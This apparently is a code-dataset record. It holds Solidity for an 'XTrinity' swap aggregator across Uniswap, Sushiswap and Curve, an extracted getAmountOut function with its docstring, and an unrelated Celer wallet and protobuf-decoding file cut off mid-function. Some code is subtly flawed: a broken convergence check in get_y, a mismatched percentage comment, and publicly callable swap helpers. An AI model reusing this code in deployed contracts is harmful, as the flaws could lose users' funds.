curveIndex[USDC_ADDRESS] = 2;
curveIndex[USDT_ADDRESS] = 3;
reverseCurveIndex[0] = DAI_ADDRESS;
reverseCurveIndex[1] = USDC_ADDRESS;
reverseCurveIndex[2] = USDT_ADDRESS;
}
/**
* @dev curve-specific maths
*/
function get_D(uint256[N_COINS] memory xp, uint256 amp)
internal
pure
returns (uint256)
{
uint256 S = 0;
for (uint256 i = 0; i < N_COINS; i++) {
S += xp[i];
}
if (S == 0) {
return 0;
}
uint256 Dprev = 0;
uint256 D = S;
uint256 Ann = amp * N_COINS;
for (uint256 i = 0; i < 255; i++) {
uint256 D_P = D;
for (uint256 j = 0; j < N_COINS; j++) {
D_P = (D_P * D) / (xp[j] * N_COINS + 1); // +1 is to prevent /0
}
Dprev = D;
D =
((Ann * S + D_P * N_COINS) * D) /
((Ann - 1) * D + (N_COINS + 1) * D_P);
// Equality with the precision of 1
if (D > Dprev) {
if ((D - Dprev) <= 1) {
break;
}
} else {
if ((Dprev - D) <= 1) {
break;
}
}
}
return D;
}
/**
* @dev curve-specific maths
*/
function get_y(
uint256 i,
uint256 j,
uint256 x,
uint256[N_COINS] memory xp_
) internal view returns (uint256) {
//x in the input is converted to the same price/precision
uint256 amp = curve.A();
uint256 D = get_D(xp_, amp);
uint256 c = D;
uint256 S_ = 0;
uint256 Ann = amp * N_COINS;
uint256 _x = 0;
for (uint256 _i = 0; _i < N_COINS; _i++) {
if (_i == i) {
_x = x;
} else if (_i != j) {
_x = xp_[_i];
} else {
continue;
}
S_ += _x;
c = (c * D) / (_x * N_COINS);
}
c = (c * D) / (Ann * N_COINS);
uint256 b = S_ + D / Ann; // # - D
uint256 y_prev = 0;
uint256 y = D;
for (uint256 _i = 0; _i < 255; _i++) {
y_prev = y;
y = (y * y + c) / (2 * y + b - D);
//# Equality with the precision of 1
if (y > y_prev) {
if ((y - y_prev) <= 1) {
break;
} else if ((y_prev - y) <= 1) {
break;
}
}
}
return y;
}
/**
* @dev curve-specific maths - this method does not exists in the curve pool but we recreated it
*/
function get_dx_underlying(
uint256 i,
uint256 j,
uint256 dy
) internal view returns (uint256) {
//dx and dy in underlying units
//uint256[N_COINS] rates = self._stored_rates();
uint256[N_COINS] memory xp = _xp();
uint256[N_COINS] memory precisions = PRECISION_MUL;
uint256 y =
xp[j] -
((dy * FEE_DENOMINATOR) / (FEE_DENOMINATOR - curve.fee())) *
precisions[j];
uint256 x = get_y(j, i, y, xp);
uint256 dx = (x - xp[i]) / precisions[i];
return dx;
}
/**
* @dev curve-specific maths
*/
function _xp() internal view returns (uint256[N_COINS] memory) {
uint256[N_COINS] memory result = RATES;
for (uint256 i = 0; i < N_COINS; i++) {
result[i] = (result[i] * curve.balances(i)) / LENDING_PRECISION;
}
return result;
}
}
// File: contracts/access/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/interfaces/IWETH.sol
pragma solidity ^0.6.0;
interface IWETH {
function deposit() external payable;
function withdraw(uint256 wad) external;
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
// File: contracts/XTrinity.sol
pragma solidity ^0.6.12;
/**
* @title XTrinity exchanger contract
* @dev this is an implementation of a split exchange that takes the input amount and proposes a better price
* given the liquidity obtained from multiple AMM DEX exchanges considering their liquidity at the moment
* might also help mitigating a flashloan attack
*/
contract XTrinity is Ownable, CurveUtils, UniswapUtils {
using UniversalERC20 for IERC20;
using Address for address;
using SafeMath for uint;
using UniswapV2ExchangeLib for IUniswapV2Exchange;
IERC20 private constant ZERO_ADDRESS =
IERC20(0x0000000000000000000000000000000000000000);
IERC20 private constant ETH_ADDRESS =
IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant WETH_ADDRESS =
IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
//address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
//address public constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
//address public constant USDT_ADDRESS = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address private constant UNI_FACTORY =
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address private constant SUSHI_FACTORY =
0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;
address private constant BONUS_ADDRESS =
0x8c545be506a335e24145EdD6e01D2754296ff018;
IWETH internal constant weth = IWETH(address(WETH_ADDRESS));
uint private constant PC_DENOMINATOR = 1e5;
address[] private exchanges = [UNI_FACTORY, SUSHI_FACTORY, CURVE_ADDRESS];
uint private constant ex_count = 3;
uint public slippageFee; //1000 = 1% slippage
uint public minPc;
bool private initialized;
/** @dev helper to identify if we work with ETH
*/
function isETH(IERC20 token) internal pure returns (bool) {
return (address(token) == address(ZERO_ADDRESS) ||
address(token) == address(ETH_ADDRESS));
}
/** @dev helper to identify if we work with WETH
*/
function isWETH(IERC20 token) internal pure returns (bool) {
return (address(token) == address(WETH_ADDRESS));
}
/** @dev helper to identify if we work with ETH or WETH
*/
function isofETH(IERC20 token) internal pure returns (bool) {
return (address(token) == address(ZERO_ADDRESS) ||
address(token) == address(ETH_ADDRESS) ||
address(token) == address(WETH_ADDRESS));
}
/**
* @dev initializer method instead of a constructor - though we don't normally use proxy here we still might want to
*/
function init() public virtual override {
require(!initialized, "Initialized");
initialized = true;
Ownable.initialize(); // Do not forget this call!
_init();
}
/**
* @dev internal variable initialization
*/
function _init() internal virtual {
slippageFee = 1000; //1%
minPc = 20000; // 10%
CurveUtils.init();
}
/**
* @dev re-initializer might be helpful for the cases where proxy's storage is corrupted by an old contact, but we cannot run init as we have the owner address already.
* This method might help fixing the storage state.
*/
function reInit() public virtual onlyOwner {
_init();
}
/**
* @dev set the slippage %%
*/
function setMinPc(uint _minPC) external onlyOwner {
minPc = _minPC;
}
/**
* @dev set the slippage %%
*/
function setSlippageFee(uint _slippageFee) external onlyOwner {
slippageFee = _slippageFee;
}
/**
* @dev universal method to get the given AMM address reserves
*/
function getReserves(
IERC20 fromToken,
IERC20 toToken,
address factory
) public view returns (uint reserveA, uint reserveB) {
IERC20 _from = isETH(fromToken) ? WETH_ADDRESS : fromToken;
IERC20 _to = isETH(toToken) ? WETH_ADDRESS : toToken;
address fromAddress = address(_from);
address toAddress = address(_to);
if (factory != CURVE_ADDRESS) {
//UNI
IUniswapV2Factory uniFactory = IUniswapV2Factory(factory);
IUniswapV2Exchange pair = uniFactory.getPair(_from, _to);
if (address(pair) != address(0)) {
(uint reserve0, uint reserve1, ) = pair.getReserves();
(address token0, ) = sortTokens(fromAddress, toAddress);
(reserveA, reserveB) = fromAddress == token0
? (reserve0, reserve1)
: (reserve1, reserve0);
}
} else {
// CURVE
int128 fromIndex = int128(curveIndex[fromAddress]);
int128 toIndex = int128(curveIndex[toAddress]);
if (fromIndex > 0 && toIndex > 0) {
reserveA = curve.balances(uint(getCurveIndex(fromAddress)));
reserveB = curve.balances(uint(getCurveIndex(toAddress)));
}
}
}
/**
* @dev Method to get the full reserves for the 2 token to be exchanged plus the proposed distribution to obtain the best price
*/
function getFullReserves(IERC20 fromToken, IERC20 toToken)
public
view
returns (
uint fromTotal,
uint destTotal,
uint[ex_count] memory dist,
uint[2][ex_count] memory res
)
{
for (uint i = 0; i < ex_count; i++) {
(uint balance0, uint balance1) =
getReserves(fromToken, toToken, exchanges[i]);
fromTotal += balance0;
destTotal += balance1; //balance1 is toToken and the bigger it is the juicier for us
(res[i][0], res[i][1]) = (balance0, balance1);
}
if (destTotal > 0) {
for (uint i = 0; i < ex_count; i++) {
dist[i] = res[i][1].mul(PC_DENOMINATOR).div(destTotal);
}
}
}
/**
* @dev Standard Uniswap V2 way to calculate the output amount given the input amount
*/
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
) internal pure returns (uint amountOut) {
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
/**
* @dev Standard Uniswap V2 way
* given an output amount of an asset and pair reserves, returns a required input amount of the other asset
*/
function getAmountIn(
uint amountOut,
uint reserveIn,
uint reserveOut
) internal pure returns (uint amountIn) {
// modification to prevent method fail if there is no liquidity
if (amountOut >= reserveOut) {
amountIn = uint(-1);
} else {
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
}
/**
* @dev Method to get a direct quote between the given tokens - might not be always available
* as there might not be any direct liquidity between them
*/
function quoteDirect(
IERC20 fromToken,
IERC20 toToken,
uint amount
)
public
view
returns (uint returnAmount, uint[ex_count] memory swapAmounts)
{
(
,
,
uint[ex_count] memory distribution,
uint[2][ex_count] memory reserves
) = getFullReserves(fromToken, toToken);
uint addDistribution;
uint eligible;
uint lastNonZeroIndex;
for (uint i = 0; i < ex_count; i++) {
if (distribution[i] > minPc) {
lastNonZeroIndex = i;
eligible++;
} else {
addDistribution += distribution[i];
distribution[i] = 0;
}
}
require(eligible > 0, "No eligible pools");
uint remainingAmount = amount;
for (uint i = 0; i <= lastNonZeroIndex; i++) {
if (distribution[i] > 0) {
if (addDistribution > 0) {
distribution[i] += addDistribution.div(eligible);
}
if (i == lastNonZeroIndex) {
swapAmounts[i] = remainingAmount;
} else {
swapAmounts[i] =
(amount * distribution[i]) /
PC_DENOMINATOR;
}
if (exchanges[i] == CURVE_ADDRESS) {
returnAmount += curve.get_dy_underlying(
getCurveIndex(address(fromToken)),
getCurveIndex(address(toToken)),
swapAmounts[i]
);
} else {
returnAmount += getAmountOut(
swapAmounts[i],
reserves[i][0],
reserves[i][1]
);
}
remainingAmount -= swapAmounts[i];
}
}
}
/**
* @dev Method to get a reverse direct quote between the given tokens - might not be always available
* as there might not be any direct liquidity between them
*/
function reverseQuoteDirect(
IERC20 fromToken,
IERC20 toToken,
uint returnAmount
)
public
view
returns (uint inputAmount, uint[ex_count] memory swapAmounts)
{
(
,
,
uint[ex_count] memory distribution,
uint[2][ex_count] memory reserves
) = getFullReserves(fromToken, toToken);
uint addDistribution;
uint eligible;
uint lastNonZeroIndex;
for (uint i = 0; i < ex_count; i++) {
if (distribution[i] > minPc) {
lastNonZeroIndex = i;
eligible++;
} else {
addDistribution += distribution[i];
distribution[i] = 0;
}
}
require(eligible > 0, "No eligible pools");
uint remainingAmount = returnAmount;
for (uint i = 0; i <= lastNonZeroIndex; i++) {
if (distribution[i] > 0) {
if (addDistribution > 0) {
distribution[i] += addDistribution.div(eligible);
}
if (i == lastNonZeroIndex) {
swapAmounts[i] = remainingAmount;
} else {
swapAmounts[i] =
(returnAmount * distribution[i]) /
PC_DENOMINATOR;
}
if (exchanges[i] == CURVE_ADDRESS) {
inputAmount += get_dx_underlying(
uint(getCurveIndex(address(fromToken))),
uint(getCurveIndex(address(toToken))),
swapAmounts[i]
);
} else {
inputAmount += getAmountIn(
swapAmounts[i],
reserves[i][0],
reserves[i][1]
);
}
remainingAmount -= swapAmounts[i];
}
}
}
/**
* @dev Method to get a best quote between the direct and through the WETH -
* as there is more liquidity between token/ETH than token0/token1
*/
function quote(
IERC20 fromToken,
IERC20 toToken,
uint amount
)
public
view
returns (
uint returnAmount,
uint[ex_count] memory swapAmountsIn,
uint[ex_count] memory swapAmountsOut,
bool swapVia
)
{
if (fromToken == toToken) {
returnAmount = amount;
} else {
(
uint returnAmountDirect,
uint[ex_count] memory swapAmounts1
) = quoteDirect(fromToken, toToken, amount);
returnAmount = returnAmountDirect;
swapAmountsIn = swapAmounts1;
if (!isofETH(toToken) && !isofETH(fromToken)) {
(
uint returnAmountETH,
uint[ex_count] memory swapAmounts2
) = quoteDirect(fromToken, WETH_ADDRESS, amount);
(
uint returnAmountVia,
uint[ex_count] memory swapAmounts3
) = quoteDirect(WETH_ADDRESS, toToken, returnAmountETH);
if (returnAmountVia > returnAmountDirect) {
returnAmount = returnAmountVia;
swapAmountsIn = swapAmounts2;
swapAmountsOut = swapAmounts3;
swapVia = true;
}
}
}
}
/**
* @dev Method to get a best Reverse Quote between the direct and through the WETH -
* as there is more liquidity between token/ETH than token0/token1
*/
function reverseQuote(
IERC20 fromToken,
IERC20 toToken,
uint returnAmount
)
public
view
returns (
uint inputAmount,
uint[ex_count] memory swapAmountsIn,
uint[ex_count] memory swapAmountsOut,
bool swapVia
)
{
if (fromToken == toToken) {
inputAmount = returnAmount;
} else {
(uint inputAmountDirect, uint[ex_count] memory swapAmounts1) =
reverseQuoteDirect(fromToken, toToken, returnAmount);
inputAmount = inputAmountDirect;
swapAmountsIn = swapAmounts1;
if (!isofETH(toToken) && !isofETH(fromToken)) {
(
uint inputAmountETH,
uint[ex_count] memory swapAmounts3
) = reverseQuoteDirect(WETH_ADDRESS, toToken, returnAmount);
(
uint inputAmountVia,
uint[ex_count] memory swapAmounts2
) = reverseQuoteDirect(fromToken, WETH_ADDRESS, inputAmountETH);
if (inputAmountVia < inputAmountDirect) {
inputAmount = inputAmountVia;
swapAmountsIn = swapAmounts2;
swapAmountsOut = swapAmounts3;
swapVia = true;
}
}
}
}
/**
* @dev run a swap across multiple exchanges given the splitted amounts
* @param swapAmounts - array of splitted amounts
*/
function executeSwap(
IERC20 fromToken,
IERC20 toToken,
uint[ex_count] memory swapAmounts
) internal returns (uint returnAmount) {
for (uint i = 0; i < swapAmounts.length; i++) {
if (swapAmounts[i] > 0) {
uint thisBalance =
fromToken.universalBalanceOf(address(this));
uint swapAmount = min(thisBalance, swapAmounts[i]);
if (exchanges[i] != CURVE_ADDRESS) {
returnAmount += _swapOnUniswapV2Internal(
fromToken,
toToken,
swapAmount,
exchanges[i]
);
} else {
returnAmount += _swapOnCurve(
fromToken,
toToken,
swapAmount
);
}
}
}
}
/**
* @dev Main function to run a swap
* @param slipProtect - enable/disable slip protection
*/
function swap(
IERC20 fromToken,
IERC20 toToken,
uint amount,
bool slipProtect
) public payable virtual returns (uint returnAmount) {
if (fromToken == toToken) {
return amount;
}
if (isETH(fromToken)) {
amount = msg.value;
weth.deposit{value: amount}();
fromToken = WETH_ADDRESS;
} else {
fromToken.universalTransferFrom(msg.sender, address(this), amount);
}
amount = min(fromToken.balanceOf(address(this)), amount);
(
uint returnQuoteAmount,
uint[ex_count] memory swapAmountsIn,
uint[ex_count] memory swapAmountsOut,
bool swapVia
) = quote(fromToken, toToken, amount);
uint minAmount;
if (slipProtect) {
uint feeSlippage =
returnQuoteAmount.mul(slippageFee).div(PC_DENOMINATOR);
minAmount = returnQuoteAmount.sub(feeSlippage);
}
if (swapVia) {
executeSwap(fromToken, WETH_ADDRESS, swapAmountsIn);
returnAmount = executeSwap(WETH_ADDRESS, toToken, swapAmountsOut);
} else {
returnAmount = executeSwap(fromToken, toToken, swapAmountsIn);
}
require(returnAmount >= minAmount, "XTrinity slippage is too high");
toToken.universalTransfer(msg.sender, returnAmount);
}
/**
* @dev fallback function to withdraw tokens from contract
* - not normally needed
*/
function transferTokenBack(address TokenAddress)
external
onlyOwner
returns (uint returnBalance)
{
IERC20 Token = IERC20(TokenAddress);
returnBalance = Token.universalBalanceOf(address(this));
if (returnBalance > 0) {
Token.universalTransfer(msg.sender, returnBalance);
}
}
function _swapOnCurve(
IERC20 fromToken,
IERC20 destToken,
uint amount
) public payable returns (uint returnAmount) {
//using curve
if (fromToken.allowance(address(this), CURVE_ADDRESS) != uint(-1)) {
fromToken.universalApprove(CURVE_ADDRESS, uint(-1));
}
uint startBalance = destToken.balanceOf(address(this));
// actual index is -1
curve.exchange(
getCurveIndex(address(fromToken)),
getCurveIndex(address(destToken)),
amount,
0
);
return destToken.balanceOf(address(this)) - startBalance;
}
function _swapOnUniswapV2Internal(
IERC20 fromToken,
IERC20 destToken,
uint amount,
address factory
) public payable returns (uint returnAmount) {
if (isETH(fromToken)) {
weth.deposit{value: amount}();
fromToken = WETH_ADDRESS;
}
destToken = isETH(destToken) ? WETH_ADDRESS : destToken;
IUniswapV2Factory uniFactory = IUniswapV2Factory(factory);
IUniswapV2Exchange exchange = uniFactory.getPair(fromToken, destToken);
bool needSync;
bool needSkim;
(returnAmount, needSync, needSkim) = exchange.getReturn(
fromToken,
destToken,
amount
);
if (needSync) {
exchange.sync();
} else if (needSkim) {
exchange.skim(BONUS_ADDRESS);
}
fromToken.universalTransfer(address(exchange), amount);
if (uint(address(fromToken)) < uint(address(destToken))) {
exchange.swap(0, returnAmount, address(this), "");
} else {
exchange.swap(returnAmount, 0, address(this), "");
}
if (isETH(destToken)) {
weth.withdraw(WETH_ADDRESS.balanceOf(address(this)));
}
}
/**
* @dev payable fallback to allow for WETH withdrawal
*/
receive() external payable {}
}
|
Standard Uniswap V2 way to calculate the output amount given the input amount/
|
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
) internal pure returns (uint amountOut) {
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
| 14,988,939
|
// File: contracts/lib/interface/ICelerWallet.sol
pragma solidity ^0.5.1;
/**
* @title CelerWallet interface
*/
interface ICelerWallet {
function create(address[] calldata _owners, address _operator, bytes32 _nonce) external returns(bytes32);
function depositETH(bytes32 _walletId) external payable;
function depositERC20(bytes32 _walletId, address _tokenAddress, uint _amount) external;
function withdraw(bytes32 _walletId, address _tokenAddress, address _receiver, uint _amount) external;
function transferToWallet(bytes32 _fromWalletId, bytes32 _toWalletId, address _tokenAddress, address _receiver, uint _amount) external;
function transferOperatorship(bytes32 _walletId, address _newOperator) external;
function proposeNewOperator(bytes32 _walletId, address _newOperator) external;
function drainToken(address _tokenAddress, address _receiver, uint _amount) external;
function getWalletOwners(bytes32 _walletId) external view returns(address[] memory);
function getOperator(bytes32 _walletId) external view returns(address);
function getBalance(bytes32 _walletId, address _tokenAddress) external view returns(uint);
function getProposedNewOperator(bytes32 _walletId) external view returns(address);
function getProposalVote(bytes32 _walletId, address _owner) external view returns(bool);
event CreateWallet(bytes32 indexed walletId, address[] indexed owners, address indexed operator);
event DepositToWallet(bytes32 indexed walletId, address indexed tokenAddress, uint amount);
event WithdrawFromWallet(bytes32 indexed walletId, address indexed tokenAddress, address indexed receiver, uint amount);
event TransferToWallet(bytes32 indexed fromWalletId, bytes32 indexed toWalletId, address indexed tokenAddress, address receiver, uint amount);
event ChangeOperator(bytes32 indexed walletId, address indexed oldOperator, address indexed newOperator);
event ProposeNewOperator(bytes32 indexed walletId, address indexed newOperator, address indexed proposer);
event DrainToken(address indexed tokenAddress, address indexed receiver, uint amount);
}
// File: contracts/lib/interface/IEthPool.sol
pragma solidity ^0.5.1;
/**
* @title EthPool interface
*/
interface IEthPool {
function deposit(address _receiver) external payable;
function withdraw(uint _value) external;
function approve(address _spender, uint _value) external returns (bool);
function transferFrom(address _from, address payable _to, uint _value) external returns (bool);
function transferToCelerWallet(address _from, address _walletAddr, bytes32 _walletId, uint _value) external returns (bool);
function increaseAllowance(address _spender, uint _addedValue) external returns (bool);
function decreaseAllowance(address _spender, uint _subtractedValue) external returns (bool);
function balanceOf(address _owner) external view returns (uint);
function allowance(address _owner, address _spender) external view returns (uint);
event Deposit(address indexed receiver, uint value);
// transfer from "from" account inside EthPool to real "to" address outside EthPool
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// File: contracts/lib/interface/IPayRegistry.sol
pragma solidity ^0.5.1;
/**
* @title PayRegistry interface
*/
interface IPayRegistry {
function calculatePayId(bytes32 _payHash, address _setter) external pure returns(bytes32);
function setPayAmount(bytes32 _payHash, uint _amt) external;
function setPayDeadline(bytes32 _payHash, uint _deadline) external;
function setPayInfo(bytes32 _payHash, uint _amt, uint _deadline) external;
function setPayAmounts(bytes32[] calldata _payHashes, uint[] calldata _amts) external;
function setPayDeadlines(bytes32[] calldata _payHashes, uint[] calldata _deadlines) external;
function setPayInfos(bytes32[] calldata _payHashes, uint[] calldata _amts, uint[] calldata _deadlines) external;
function getPayAmounts(
bytes32[] calldata _payIds,
uint _lastPayResolveDeadline
) external view returns(uint[] memory);
function getPayInfo(bytes32 _payId) external view returns(uint, uint);
event PayInfoUpdate(bytes32 indexed payId, uint amount, uint resolveDeadline);
}
// File: contracts/lib/data/Pb.sol
pragma solidity ^0.5.0;
// runtime proto sol library
library Pb {
enum WireType { Varint, Fixed64, LengthDelim, StartGroup, EndGroup, Fixed32 }
struct Buffer {
uint idx; // the start index of next read. when idx=b.length, we're done
bytes b; // hold serialized proto msg, readonly
}
// create a new in-memory Buffer object from raw msg bytes
function fromBytes(bytes memory raw) internal pure returns (Buffer memory buf) {
buf.b = raw;
buf.idx = 0;
}
// whether there are unread bytes
function hasMore(Buffer memory buf) internal pure returns (bool) {
return buf.idx < buf.b.length;
}
// decode current field number and wiretype
function decKey(Buffer memory buf) internal pure returns (uint tag, WireType wiretype) {
uint v = decVarint(buf);
tag = v / 8;
wiretype = WireType(v & 7);
}
// count tag occurrences, return an array due to no memory map support
// have to create array for (maxtag+1) size. cnts[tag] = occurrences
// should keep buf.idx unchanged because this is only a count function
function cntTags(Buffer memory buf, uint maxtag) internal pure returns (uint[] memory cnts) {
uint originalIdx = buf.idx;
cnts = new uint[](maxtag+1); // protobuf's tags are from 1 rather than 0
uint tag;
WireType wire;
while (hasMore(buf)) {
(tag, wire) = decKey(buf);
cnts[tag] += 1;
skipValue(buf, wire);
}
buf.idx = originalIdx;
}
// read varint from current buf idx, move buf.idx to next read, return the int value
function decVarint(Buffer memory buf) internal pure returns (uint v) {
bytes10 tmp; // proto int is at most 10 bytes (7 bits can be used per byte)
bytes memory bb = buf.b; // get buf.b mem addr to use in assembly
v = buf.idx; // use v to save one additional uint variable
assembly {
tmp := mload(add(add(bb, 32), v)) // load 10 bytes from buf.b[buf.idx] to tmp
}
uint b; // store current byte content
v = 0; // reset to 0 for return value
for (uint i=0; i<10; i++) {
assembly {
b := byte(i, tmp) // don't use tmp[i] because it does bound check and costs extra
}
v |= (b & 0x7F) << (i * 7);
if (b & 0x80 == 0) {
buf.idx += i + 1;
return v;
}
}
revert(); // i=10, invalid varint stream
}
// read length delimited field and return bytes
function decBytes(Buffer memory buf) internal pure returns (bytes memory b) {
uint len = decVarint(buf);
uint end = buf.idx + len;
require(end <= buf.b.length); // avoid overflow
b = new bytes(len);
bytes memory bufB = buf.b; // get buf.b mem addr to use in assembly
uint bStart;
uint bufBStart = buf.idx;
assembly {
bStart := add(b, 32)
bufBStart := add(add(bufB, 32), bufBStart)
}
for (uint i=0; i<len; i+=32) {
assembly{
mstore(add(bStart, i), mload(add(bufBStart, i)))
}
}
buf.idx = end;
}
// return packed ints
function decPacked(Buffer memory buf) internal pure returns (uint[] memory t) {
uint len = decVarint(buf);
uint end = buf.idx + len;
require(end <= buf.b.length); // avoid overflow
// array in memory must be init w/ known length
// so we have to create a tmp array w/ max possible len first
uint[] memory tmp = new uint[](len);
uint i = 0; // count how many ints are there
while (buf.idx < end) {
tmp[i] = decVarint(buf);
i++;
}
t = new uint[](i); // init t with correct length
for (uint j=0; j<i; j++) {
t[j] = tmp[j];
}
return t;
}
// move idx pass current value field, to beginning of next tag or msg end
function skipValue(Buffer memory buf, WireType wire) internal pure {
if (wire == WireType.Varint) { decVarint(buf); }
else if (wire == WireType.LengthDelim) {
uint len = decVarint(buf);
buf.idx += len; // skip len bytes value data
require(buf.idx <= buf.b.length); // avoid overflow
} else { revert(); } // unsupported wiretype
}
// type conversion help utils
function _bool(uint x) internal pure returns (bool v) {
return x != 0;
}
function _uint256(bytes memory b) internal pure returns (uint256 v) {
require(b.length <= 32); // b's length must be smaller than or equal to 32
assembly { v := mload(add(b, 32)) } // load all 32bytes to v
v = v >> (8 * (32 - b.length)); // only first b.length is valid
}
function _address(bytes memory b) internal pure returns (address v) {
v = _addressPayable(b);
}
function _addressPayable(bytes memory b) internal pure returns (address payable v) {
require(b.length == 20);
//load 32bytes then shift right 12 bytes
assembly { v := div(mload(add(b, 32)), 0x1000000000000000000000000) }
}
function _bytes32(bytes memory b) internal pure returns (bytes32 v) {
require(b.length == 32);
assembly { v := mload(add(b, 32)) }
}
// uint[] to uint8[]
function uint8s(uint[] memory arr) internal pure returns (uint8[] memory t) {
t = new uint8[](arr.length);
for (uint i = 0; i < t.length; i++) { t[i] = uint8(arr[i]); }
}
function uint32s(uint[] memory arr) internal pure returns (uint32[] memory t) {
t = new uint32[](arr.length);
for (uint i = 0; i < t.length; i++) { t[i] = uint32(arr[i]); }
}
function uint64s(uint[] memory arr) internal pure returns (uint64[] memory t) {
t = new uint64[](arr.length);
for (uint i = 0; i < t.length; i++) { t[i] = uint64(arr[i]); }
}
function bools(uint[] memory arr) internal pure returns (bool[] memory t) {
t = new bool[](arr.length);
for (uint i = 0; i < t.length; i++) { t[i] = arr[i]!=0; }
}
}
// File: contracts/lib/data/PbEntity.sol
// Code generated by protoc-gen-sol. DO NOT EDIT.
// source: entity.proto
pragma solidity ^0.5.0;
library PbEntity {
using Pb for Pb.Buffer; // so we can call Pb funcs on Buffer obj
enum TokenType { INVALID, ETH, ERC20 }
// TokenType[] decode function
function TokenTypes(uint[] memory arr) internal pure returns (TokenType[] memory t) {
t = new TokenType[](arr.length);
for (uint i = 0; i < t.length; i++) { t[i] = TokenType(arr[i]); }
}
enum TransferFunctionType { BOOLEAN_AND, BOOLEAN_OR, BOOLEAN_CIRCUIT, NUMERIC_ADD, NUMERIC_MAX, NUMERIC_MIN }
// TransferFunctionType[] decode function
function TransferFunctionTypes(uint[] memory arr) internal pure returns (TransferFunctionType[] memory t) {
t = new TransferFunctionType[](arr.length);
for (uint i = 0; i < t.length; i++) { t[i] = TransferFunctionType(arr[i]); }
}
enum ConditionType { HASH_LOCK, DEPLOYED_CONTRACT, VIRTUAL_CONTRACT }
// ConditionType[] decode function
function ConditionTypes(uint[] memory arr) internal pure returns (ConditionType[] memory t) {
t = new ConditionType[](arr.length);
for (uint i = 0; i < t.length; i++) { t[i] = ConditionType(arr[i]); }
}
struct AccountAmtPair {
address account; // tag: 1
uint256 amt; // tag: 2
} // end struct AccountAmtPair
function decAccountAmtPair(bytes memory raw) internal pure returns (AccountAmtPair memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.account = Pb._address(buf.decBytes());
}
else if (tag == 2) {
m.amt = Pb._uint256(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder AccountAmtPair
struct TokenInfo {
TokenType tokenType; // tag: 1
address tokenAddress; // tag: 2
} // end struct TokenInfo
function decTokenInfo(bytes memory raw) internal pure returns (TokenInfo memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.tokenType = TokenType(buf.decVarint());
}
else if (tag == 2) {
m.tokenAddress = Pb._address(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder TokenInfo
struct TokenDistribution {
TokenInfo token; // tag: 1
AccountAmtPair[] distribution; // tag: 2
} // end struct TokenDistribution
function decTokenDistribution(bytes memory raw) internal pure returns (TokenDistribution memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint[] memory cnts = buf.cntTags(2);
m.distribution = new AccountAmtPair[](cnts[2]);
